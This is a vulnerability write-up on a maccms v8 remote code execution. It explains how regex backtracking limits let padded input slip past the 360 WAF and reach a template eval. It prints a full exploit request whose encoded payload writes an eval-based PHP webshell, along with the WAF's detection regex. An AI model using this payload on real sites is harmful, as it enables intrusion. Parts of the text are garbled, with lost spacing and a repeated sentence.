Analyzing the 800,000-Character RCE in maccms v8

Summary0x01 Preface I encountered a vulnerability that pads input with 800,000 junk characters, exceeding the regex backtracking limit and bypassing the 360 module. This article explains regex backtracking and analyzes the maccms v8 RCE. 0x02 Regex Backtracking 1. Regex Engines We all know the 'regex' in 'regex backtracking,' but what is backtracking? Before that, consider regex engines…

maccmsrceRegular expressionRegex Backtracking

0x01 Preface

I encountered a vulnerability that pads input with 800,000 junk characters, exceeding the regex backtracking limit and bypassing the 360 module. This article explains regex backtracking and analyzes the maccms v8 RCE in detail.

0x02 Regex Backtracking

1. Regex Engines

We all know the 'regex' in 'regex backtracking,' but what is backtracking?

Before backtracking, consider regex engines. They fall into two broad classes: DFA (deterministic finite automata) and NFA (nondeterministic finite automata). NFA usesRegular expressiondriven matching, whereas DFA usesText-drivenmatch.

Programs currently using DFA engines include:awk,egrep,flex,lex,MySQL,Procmailand others. Programs using traditional NFA engines include:GNU Emacs,Java,ergp,less,more,.NET,,PCRE library,Perl,PHP,Python,Ruby,sed,vi

DFA operates inLinear timelinear time without backtracking. It starts from the target text and scans left to right, never matching a character twice. It is generally faster but supports fewer features, excluding capture groups and references.

NFA starts from the expression and repeatedly reads characters to test the current pattern, giving characters back and retrying on failure. Worst-case execution can be extremely slow, but NFA supports more features, so most environments—including PHP, Java, and Python—use it.

DFA example:

While scanning, the engine records all currently valid possibilities. At t, it adds a potential match to the current set:

1.png

Each scanned character updates the set of possible matches. At J, two possibilities remain and Rose is eliminated.

2.png

When scanning reaches e in the target text, Jack is eliminated, leaving one possible match. Matching the remaining rry completes the expression.

3.png

NFA example:

To the engine, DEF has four numeric positions:

4.png

For a regex, every source string contains characters and positions, and matching proceeds from position 0.

Call a successful match 'gaining control.'

When the regex isDEF, the flow is:

The regex character D gains control from position0begins matching withD to matchD, matches, then passes control to E ; becauseDhas been D matches, so E from position1begins matching, withE to matchE, matches, then passes control to F; thenFto matchF, matches successfully.

When the regex is/D\w+F/, the flow is:

The regex character/D/ gains control from position0begins matching with /D/ to matchD, matches, then passes control to/\w+/ ; becauseDhas been/D/matches, so /\w+/ from position1begins matching;\w+Greedy mode records an alternative state and consumes the longest possible text, directly reachingEF, matches successfully, with the current position at3, then passes control to /F/ ; then /F/ fails to match;\w+the match backtracks one position to2, then passes control to/F/, then/F/matches F successfully.

As shown above, DFA always scans text characters left to right regardless of expression form. Equivalent NFA expressions can follow entirely different matching paths.

2. Backtracking

Now return to backtracking.

Assume the string and its positions are:

5.png

As above, call a successful match 'gaining control.' Suppose the regex is:/.*?b/

The matching flow is:.*?first gains control. Assuming lazy matching, it initially consumes nothing and passes control to the next pattern characterbbfails at source position 1a, so it backtracks and returns control to.*?. At this point, .*?matches one charactera, and again passes control tob. This process is calledBacktracking. Repeating this eventually yields a match after three backtracks.

3. Regex Backtracking

PHP's PCRE extension exposes these options:

Name Default Changeable range Changelog
pcre.backtrack_limit "100000" PHP_INI_ALL Available since PHP 5.2.0.
pcre.recursion_limit "100000" PHP_INI_ALL Available since PHP 5.2.0.
pcre.jit "1" PHP_INI_ALL Available since PHP 7.0.0
  • pcre.backtrack_limit: maximum PCRE backtracks
  • pcre.recursion_limit: maximum PCRE recursion depth

As the table shows, the defaultbacktarck_limitis 100000.

Define a regex:/UNION.+?SELECT/is

The target text is:UNION/*panda*/SELECT

The flow is roughly:

  • First matchUNION
  • .+?matches/
  • Lazy mode;.+?stops moving forward, thenSmatches*
  • Smatches*Failure;First backtrack, then.+?matches*
  • Lazy mode;.+?stops matching forward, thenSmatchesp
  • SmatchespFailure;Second backtrack, then.+?matchesp
  • Lazy mode;.+?stops matching forward, thenSmatchesa
  • SmatchesaFailure;Third backtrack, then.+?matchesa
  • Lazy mode;.+?stops matching forward, thenSmatchesn
  • SmatchesnFailure;Fourth backtrack, then.+?matchesn
  • Lazy mode;.+?stops matching forward, thenSmatchesd
  • SmatchesdFailure;Fifth backtrack, then.+?matchesa
  • Lazy mode;.+?stops matching forward, thenSmatchesS
  • SmatchesSmatches, then continues untilSELECTmatchesSELECTSuccess

This shows that the number of backtracks is controllable. When we place more content in/**/, the more backtracks occur. If enough input exceedspcre.backtrack_limitlimit, the expression may be bypassed, defeating restrictions such as a WAF.

This issue was reported to the official project as early as 2007:

6.png

The official remediation was:

7.png

Python also has a 'limit,' but its documentation explains:

8.png

There may not be enough memory to build such a large string—so, well…

0x03 maccms v8 RCE via 800,000 Characters

According to the vulnerability payload:

HTTP
POST /index.php?m=vod-search HTTP/1.1
Host: xxx.xxx.xxx.xx
Content-Length: 500137
Cache-Control: max-age=0
Origin: xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: xxx.xxx.xxx.xx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_ff7f6fcad4e6116760e7b632f9614dc2=1574418087,1574670614,1574673402,1575271439; Hm_lvt_137ae1af30761db81edff2e16f0bf0f8=1574418087,1574670615,1574673402,1575275889; pgv_pvi=8322096128; PHPSESSID=pr37r8fkshd854f8fnfep4ov53; adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; admincheck=2afdbd385cb6c2af162e6733f1b0e2d2
Connection: close

wd=union(80w个a){if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

Enter index.phpInspect the relevant parameters:

PHP
$acs = array('vod','art','map','user','gbook','comment','label');

if(in_array($ac,$acs)){
    	$tpl->P['module'] = $ac;
    	include MAC_ROOT.'/inc/module/'.$ac.'.php';
    }
    else{
    	showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();

The vulnerable file is/inc/module/vod.phpsearch module, whose core is:

PHP
elseif($method=='search')
{
	$tpl->C["siteaid"] = 15;
	$wd = trim(be("all", "wd"));
	$wd = chkSql($wd);
	if(!empty($wd)){
    $tpl->P["wd"] = $wd;
  }

  .....

  $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
	$tpl->mark();
	$tpl->pageshow();

The core of be() is:

PHP
function be($mode,$key,$sp=',')
{
	ini_set("magic_quotes_runtime", 0);
	$magicq= get_magic_quotes_gpc();
	switch($mode)
	{
		case 'post':
			$res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
			break;
		case 'get':
			$res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
			break;
		case 'arr':
			$arr =isset($_POST[$key]) ? $_POST[$key] : '';
			if($arr==""){
				$value="0";
			}
			else{
				for($i=0;$i<count($arr);$i++){
					$res=implode($sp,$arr);
				}
			}
			break;
		default:
			$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';
			break;
	}
	return $res;
}

mainly applies addslashes to GET, POST, and REQUEST parameters. Return tovod.phppage. After Be processes it and surrounding whitespace is trimmed, it reaches chkSql()performs the 360 WAF SQL check. Its core is:

PHP
function chkSql($s)
{
	global $getfilter,$postfilter;
	if(empty($s)){
		return "";
	}
	$s = htmlspecialchars(urldecode(trim($s)));
	StopAttack(1,$s,$getfilter);
  StopAttack(1,$s,$postfilter);
	return $s;
}

converts predefined characters in the URL-decoded value to HTML entities, then passes it toStopAttack()function, whose core is:

PHP
  function chkShow()
{
    $errmsg = "<div style=\"position:fixed;top:0px;width:100%;height:100%;background-color:white;color:green;font-weight:bold;border-bottom:5px solid #999;\"><br>您的提交带有不合法参数,谢谢合作!<br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."</div>";
    print $errmsg;
    exit();
}
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{

 $StrFiltValue=arr_foreach($StrFiltValue);
 $StrFiltValue=urldecode($StrFiltValue);

 if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
        chkShow();
 }
 if(preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){
        chkShow();
 }
}

applies the following regular expression to the input:

HTML
<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|php|\\{|\\}|\\(|\\\|\\)

The main problem is this line:

HTML
UNION([\s\S]*?)SELECT

([\s\S]*?)— matches any character exactly once

This expression enables lazy matching, causing repeated backtracking. For example, define the text:UNION(panda)SELECT

Its matching flow is roughly:

  • First matchUNION
  • Enter subexpression matching;[\s\S]*?, matching every character
  • Lazy mode;*?stops moving forward, soSmatches
  • SmatchesFailure;First backtrack, then*?matchesp
  • Lazy mode;*?stops matching forward, thenSmatchesa
  • SmatchesaSecond backtrack, then*?matchesa
  • Lazy mode;*?stops matching forward, thenSmatchesn
  • …and so on
  • Finally,SmatchesS, then backtracking ends

The process is animated below:

Image description

Here we can exploit the maximum match count to bypasspreg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1check, because after the maximum match count is exceeded, the result is not 1 butfalse

This bypasses the 360 WAF module's chkSql()check, meaning the wd parameter is currently controllable.

Return toindex.phppage. After modules load, execution enters$tpl->ifex();function, whose core is:

PHP
function ifex()
    {
        if (!strpos(",".$this->H,"{if-")) { return; }
		$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
		preg_match_all($labelRule,$this->H,$iar);

  ...

    try{
			if (strpos(",".$strThen,$labelRule2)>0){
        ...
     $ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
        if(!$elseifFlag){
           ...
           @eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
					 ...
        if(!$elseifFlag){
           ...
           @eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
           ...
      else{
				$ifFlag = false;
				if (strpos(",".$strThen,$labelRule3)>0){
          ...
            @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          ...
        else{
					@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
          if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }

          ...
        }
         ...

The function first applies$this->Hchecks whether it contains{if-, while$this->Hinvod.phpis defined as:

PHP
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");

This template's application code is ininc/common/template.php is controlled by wd, as tracing confirms.

Return totemplate.phpofifex()function shows

PHP
preg_match_all($labelRule,$this->H,$iar);

The regular expression extracts wd, after which loops and checks ultimately execute eval.

The final eval has the fewest restrictions, so we choose it. The following conditions must be met:

  • $this-Hmust contain{if- → the wd parameter contains{if-is sufficient
  • Satisfies the regex:{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}
  • The if condition is not met:strpos(",".$strThen,$labelRule2)>0
  • The if condition is not met:strpos(",".$strThen,$labelRule3)>0

This reaches the desired eval statement:

PHP
eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");

In summary, this payload satisfies the conditions:

PHP
{if-A:phpinfo()}{endif-A}

0x04 Reproduction

The full exploitation chain is now complete.

First bypass the 360 WAF through regex backtracking, then place the payload in controllable wd. The payload reaches$this-H, bypass the check, and execute it through eval.

Without regex backtracking, the request is blocked:

10.png

With regex backtracking, the 360 WAF is bypassed:

11.png

In my environment, neither 800,000 nor 8,000,000 characters was enough, so I used 10,000,000 and bypassed it successfully.

In my environment, neither 800,000 nor 8,000,000 characters was enough, so I used 10,000,000 and bypassed it successfully.

Testing on PHP 7.0 may produce this problem and prevent exploitation:

12.png

or

13.png

The vulnerability also requires a non-default template:

fu.png

The default template exits here and never reaches eval.

0x05 References

https://www.php.net/pcre/

https://www.php.net/manual/zh/pcre.configuration.php

http://www.laruence.com/2010/06/08/1579.html

https://www.jqhtml.com/45531.html

https://blog.csdn.net/iteye_18591/article/details/82204352

https://www.cnblogs.com/test404/p/7397755.html

https://www.cnblogs.com/Chary/p/No0000100.html

https://www.t00ls.net/viewthread.php?tid=54216

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html